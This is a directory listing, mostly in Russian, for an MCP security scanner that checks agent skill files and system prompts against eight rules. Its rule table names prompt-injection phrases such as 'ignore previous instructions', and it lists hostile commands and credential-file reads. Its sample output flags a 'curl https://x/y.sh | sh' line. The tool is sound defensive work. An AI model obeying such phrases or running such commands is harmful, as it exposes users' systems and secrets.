Skip to main content
Glama
sudo-ai-git

mcp-skill-sec

mcp-skill-sec

Сервер Model Context Protocol (MCP), который проверяет любой агентский навык, системный промпт или скачанную коллекцию файлов на соответствие 8 паттернам вредоносных навыков в цепочке поставок.

Детерминированный, без LLM, без сетевых вызовов — сканер для проверки перед установкой, который можно запускать у себя и который работает с Claude Code, Cursor, Copilot, OpenClaw, Codex CLI и любым MCP-совместимым агентом.

Что он проверяет (правила R1–R8)

Правило

Паттерн

R1

Инъекция в промпт / перехват инструкций (ignore previous instructions, директивы о секретности, переопределения личности)

R2

Намерение экфильтрации данных (отправка/публикация/пересылка содержимого на URL, кража логов)

R3

Захардкоженные секреты / учётные данные (API-ключи, PAT, приватные ключи, строки подключения)

R4

Опасные команды (rm -rf /, curl | sh, fork-бомбы, запись на raw-устройства)

R5

Обфускация / скрытое поведение (base64-exec, eval/exec, символы нулевой ширины)

R6

Недоверенные внешние загрузки (fetch-and-run, установка не из PyPI)

R7

Доступ к учётным данным (чтение ~/.ssh, .aws/credentials, .env)

R8

Повышение привилегий (sudo -s, setuid, добавление в группу sudo)

Каждая находка содержит severity (critical/high/medium/low), номер строки и соответствующую строку-доказательство. Общий вердикт — PASS — выносится только когда нет находок уровня critical/high и каждая находка уровня medium безвредна.

Related MCP server: tar-engine

Инструменты

  • audit_text(text, filename) — проверяет строку (навык, который вам вставили, системный промпт, который вы не писали).

  • audit_skill_file(path) — проверяет SKILL.md / AGENTS.md / CLAUDE.md на диске; возвращает доказательства с номерами строк.

  • audit_directory(path, pattern) — проверяет всю скачанную коллекцию навыков; возвращает вердикты по каждому файлу и сводку.

  • rule_list() — выводит каталог правил.

Установка и запуск

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / конфигурация агента

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

Пример

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

Лицензия и происхождение

MIT. Автор — sudo-ai-git. Это автономный инструмент безопасности/верификации; в нём не заложено проприетарных методов. Это MCP-воплощение агентского навыка skill-sec (те же правила, вызывается как сервер вместо навыка).

Метаданные официального реестра MCP

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.

No tool schema history has been recorded yet.

Maintenance

ActivityMaintained
ResponsivenessNo issues

Related MCP Connectors

Related MCP Servers

  • F
    license
    Not graded
    quality
    B
    maintenance
    Static security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.
    15
    -
  • A
    license
    Not graded
    quality
    A
    maintenance
    Audits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.
    2
    Apache 2.0
  • A
    license
    A
    quality
    B
    maintenance
    Security scanner for third-party AI agent-skill files: SKILL.md manifests, hooks, and bundled scripts, exposed via an MCP tool.
    1
    23
    1
    Apache 2.0
  • A
    license
    Not graded
    quality
    C
    maintenance
    Enables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.
    MIT

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/sudo-ai-git/mcp-skill-sec'

If you have feedback or need assistance with the MCP directory API, please join our Discord server